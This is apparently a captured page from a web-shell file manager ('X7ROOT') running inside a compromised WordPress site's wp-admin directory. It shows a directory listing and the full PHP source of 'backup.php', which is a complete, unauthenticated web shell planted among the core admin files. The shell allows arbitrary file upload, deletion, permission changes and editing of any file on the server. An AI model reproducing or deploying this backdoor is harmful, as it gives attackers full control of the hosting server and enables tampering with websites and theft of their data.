X7ROOT File Manager
Current Path:
/home/gfecatvj/sites/radon/wp-admin
home
/
gfecatvj
/
sites
/
radon
/
wp-admin
/
đ
..
đ
about.php
(16.08 KB)
đ
admin-ajax.php
(5.03 KB)
đ
admin-footer.php
(2.77 KB)
đ
admin-functions.php
(479 B)
đ
admin-header.php
(9.12 KB)
đ
admin-post.php
(1.97 KB)
đ
admin.php
(12.35 KB)
đ
async-upload.php
(5.47 KB)
đ
authorize-application.php
(10.09 KB)
đ
backup.php
(7.06 KB)
đ
comment.php
(11.35 KB)
đ
contribute.php
(5.86 KB)
đ
credits.php
(4.38 KB)
đ
css
đ
custom-background.php
(489 B)
đ
custom-header.php
(499 B)
đ
customize.php
(11.01 KB)
đ
edit-comments.php
(14.38 KB)
đ
edit-form-advanced.php
(28.83 KB)
đ
edit-form-blocks.php
(14.6 KB)
đ
edit-form-comment.php
(8.34 KB)
đ
edit-link-form.php
(6.21 KB)
đ
edit-tag-form.php
(10.44 KB)
đ
edit-tags.php
(22 KB)
đ
edit.php
(19.48 KB)
đ
erase-personal-data.php
(7.33 KB)
đ
error_log
(4.77 KB)
đ
export-personal-data.php
(7.75 KB)
đ
export.php
(11.02 KB)
đ
freedoms.php
(4.8 KB)
đ
images
đ
import.php
(7.58 KB)
đ
includes
đ
index.php
(7.68 KB)
đ
install-helper.php
(6.8 KB)
đ
install.php
(17.77 KB)
đ
js
đ
link-add.php
(934 B)
đ
link-manager.php
(4.26 KB)
đ
link-parse-opml.php
(2.72 KB)
đ
link.php
(2.89 KB)
đ
load-scripts.php
(2.02 KB)
đ
load-styles.php
(2.92 KB)
đ
login.php
(7.06 KB)
đ
maint
đ
media-new.php
(3.2 KB)
đ
media-upload.php
(3.58 KB)
đ
media.php
(819 B)
đ
menu-header.php
(9.82 KB)
đ
menu.php
(17.46 KB)
đ
moderation.php
(307 B)
đ
ms-admin.php
(196 B)
đ
ms-delete-site.php
(4.5 KB)
đ
ms-edit.php
(216 B)
đ
ms-options.php
(229 B)
đ
ms-sites.php
(215 B)
đ
ms-themes.php
(217 B)
đ
ms-upgrade-network.php
(219 B)
đ
ms-users.php
(215 B)
đ
my-sites.php
(4.74 KB)
đ
nav-menus.php
(48.19 KB)
đ
network
đ
network.php
(5.39 KB)
đ
options-discussion.php
(15.92 KB)
đ
options-general.php
(21.65 KB)
đ
options-head.php
(621 B)
đ
options-media.php
(6.38 KB)
đ
options-permalink.php
(21.22 KB)
đ
options-privacy.php
(9.95 KB)
đ
options-reading.php
(9.94 KB)
đ
options-writing.php
(9.1 KB)
đ
options.php
(13.6 KB)
đ
plugin-editor.php
(13.75 KB)
đ
plugin-install.php
(6.96 KB)
đ
plugins.php
(30 KB)
đ
post-new.php
(2.7 KB)
đ
post.php
(10.03 KB)
đ
press-this.php
(2.34 KB)
đ
privacy-policy-guide.php
(3.67 KB)
đ
privacy.php
(2.79 KB)
đ
profile.php
(283 B)
đ
revision.php
(5.7 KB)
đ
setup-config.php
(17.48 KB)
đ
site-editor.php
(11.98 KB)
đ
site-health-info.php
(3.99 KB)
đ
site-health.php
(10.2 KB)
đ
term.php
(2.2 KB)
đ
theme-editor.php
(16.87 KB)
đ
theme-install.php
(23.38 KB)
đ
themes.php
(47.92 KB)
đ
tools.php
(3.43 KB)
đ
update-core.php
(45.45 KB)
đ
update.php
(12.79 KB)
đ
upgrade-functions.php
(341 B)
đ
upgrade.php
(6.27 KB)
đ
upload.php
(14.9 KB)
đ
user
đ
user-edit.php
(40.36 KB)
đ
user-new.php
(24.05 KB)
đ
users.php
(23.29 KB)
đ
widgets-form-blocks.php
(5.12 KB)
đ
widgets-form.php
(19.29 KB)
đ
widgets.php
(1.09 KB)
Editing: backup.php
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>īŧŗīŧĢīŧšīŧŗīŧ¨īŧĨīŧŦīŧŦ īŧīŧĄīŧŽīŧĄīŧ§īŧĨīŧ˛</title> <style> body { background-color: #111; color: #0f0; font-family: Arial, sans-serif; margin: 0; padding: 20px; } h2 { text-align: center; font-size: 36px; font-weight: bold; margin: 10px 0; position: relative; background: linear-gradient(90deg, #ff0000, #ffff00, #00ff00, #00ffff, #0000ff); background-size: 200%; color: transparent; -webkit-background-clip: text; animation: gradientAnimation 3s linear infinite; } @keyframes gradientAnimation { 0% { background-position: 200% 0%; } 50% { background-position: 0% 100%; } 100% { background-position: 200% 0%; } } .php-version { position: absolute; top: 10px; right: 20px; font-size: 14px; color: #0ff; } a { color: #6cf; text-decoration: none; } a:hover { text-decoration: underline; } table { width: 100%; border-collapse: collapse; margin-top: 20px; } th, td { padding: 10px; border: 1px solid #333; transition: background 0.3s, color 0.3s; } tr:hover { background-color: #32CD32; } tr:hover td a.filename-link { color: #000; font-weight: bold; } .filename-link { color: #0ff; } .action-cell { text-align: right; } input, button, textarea { background: #222; color: #0f0; border: 1px solid #444; padding: 5px 10px; margin: 5px 0; } button { cursor: pointer; } .alert-message { color: #32CD32; background-color: #222; padding: 10px; text-align: center; font-size: 18px; margin: 20px 0; } .file-upload-container { display: flex; justify-content: space-between; align-items: center; } .emoji { color: #fff; } .path-display a { color: #fff; text-decoration: underline; } </style> </head> <body> <h2><span class="emoji">đ</span> īŧŗīŧĢīŧšīŧŗīŧ¨īŧĨīŧŦīŧŦ īŧīŧĄīŧŽīŧĄīŧ§īŧĨīŧ˛-<span class="emoji">đ</span> <span class="php-version">PHP v<?= phpversion(); ?></span> </h2> <?php $path = isset($_GET['path']) ? $_GET['path'] : getcwd(); $path = realpath($path); $alertMessage = ""; // Upload if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) { $filename = basename($_FILES['file']['name']); if (move_uploaded_file($_FILES['file']['tmp_name'], $path . DIRECTORY_SEPARATOR . $filename)) { $alertMessage = "File uploaded successfully!"; } else { $alertMessage = "File upload failed!"; } } // Create folder if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['newfolder'])) { $folder = $path . DIRECTORY_SEPARATOR . $_POST['newfolder']; if (!file_exists($folder)) { mkdir($folder); $alertMessage = "Folder created successfully!"; } else { $alertMessage = "Folder already exists!"; } } // Create file if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['newfile'])) { $file = $path . DIRECTORY_SEPARATOR . $_POST['newfile']; if (!file_exists($file)) { file_put_contents($file, ''); $alertMessage = "File created successfully!"; } else { $alertMessage = "File already exists!"; } } // Change permission if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['chmod_file'], $_POST['chmod_value'])) { $file = $_POST['chmod_file']; $perm = $_POST['chmod_value']; if (file_exists($file)) { chmod($file, octdec($perm)); $alertMessage = "Permissions changed successfully!"; } else { $alertMessage = "File does not exist!"; } } // Delete if (isset($_GET['delete'])) { $file = urldecode($_GET['delete']); if (file_exists($file)) { unlink($file); header("Location: ?path=" . urlencode(dirname($file))); exit; } } // Save Edited File if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['edit_file_path'], $_POST['edited_content'])) { $filePath = $_POST['edit_file_path']; $newContent = $_POST['edited_content']; if (file_exists($filePath)) { file_put_contents($filePath, $newContent); $alertMessage = "File updated successfully!"; } else { $alertMessage = "File does not exist!"; } } ?> <?php if ($alertMessage): ?> <div class="alert-message"><?= $alertMessage ?></div> <?php endif; ?> <div class="file-upload-container"> <div> <form method="post"> <input type="text" name="newfolder" placeholder="đ New Folder" required> <button type="submit">Create Folder</button> </form> <form method="post"> <input type="text" name="newfile" placeholder="đ New File" required> <button type="submit">Create File</button> </form> </div> <div> <form method="post" enctype="multipart/form-data"> <input type="file" name="file" onchange="this.form.submit()"> </form> </div> </div> <!-- Current Path Display --> <p class="path-display"><b>Current Path:</b> <?php $parts = explode(DIRECTORY_SEPARATOR, $path); $build = ''; foreach ($parts as $part) { if ($part == '') continue; $build .= DIRECTORY_SEPARATOR . $part; echo "<a href='?path=" . urlencode($build) . "'>$part</a>/"; } ?> </p> <!-- File Table --> <table> <tr> <th>Name</th><th>Size</th><th>Permissions</th><th>Actions</th> </tr> <?php $files = scandir($path); usort($files, function ($a, $b) use ($path) { return is_dir($path . DIRECTORY_SEPARATOR . $b) - is_dir($path . DIRECTORY_SEPARATOR . $a); }); foreach ($files as $file) { if ($file == '.') continue; $full = $path . DIRECTORY_SEPARATOR . $file; $isDir = is_dir($full); $perm = substr(sprintf('%o', fileperms($full)), -4); $size = $isDir ? '-' : filesize($full); echo "<tr>"; echo "<td>" . ($isDir ? "đ" : "đ") . " <a class='filename-link' href='?path=" . urlencode($full) . "'>$file</a></td>"; echo "<td>" . ($isDir ? '-' : round($size / 1024, 2) . ' KB') . "</td>"; echo "<td>$perm</td>"; echo "<td class='action-cell'> <a href='?delete=" . urlencode($full) . "'>đī¸</a> " . (!$isDir ? "<a href='$full' download>âŦī¸</a> <a href='?edit=" . urlencode($full) . "'>âī¸</a>" : "") . " <form method='post' style='display:inline;'> <input type='hidden' name='chmod_file' value='$full'> <input type='text' name='chmod_value' placeholder='Perm' style='width:60px;'> <button type='submit'>đ</button> </form> </td>"; echo "</tr>"; } ?> </table> <!-- Edit File Section --> <?php if (isset($_GET['edit']) && is_file($_GET['edit'])): $fileToEdit = $_GET['edit']; $content = htmlspecialchars(file_get_contents($fileToEdit)); ?> <h3 style="color:#fff;">Editing: <?= basename($fileToEdit) ?></h3> <form method="post"> <input type="hidden" name="edit_file_path" value="<?= htmlspecialchars($fileToEdit) ?>"> <textarea name="edited_content" rows="20" style="width:100%;background:#111;color:#0f0;border:1px solid #444;"><?= $content ?></textarea><br> <button type="submit">đž Save Changes</button> </form> <?php endif; ?> </body> </html>
Upload File
Create Folder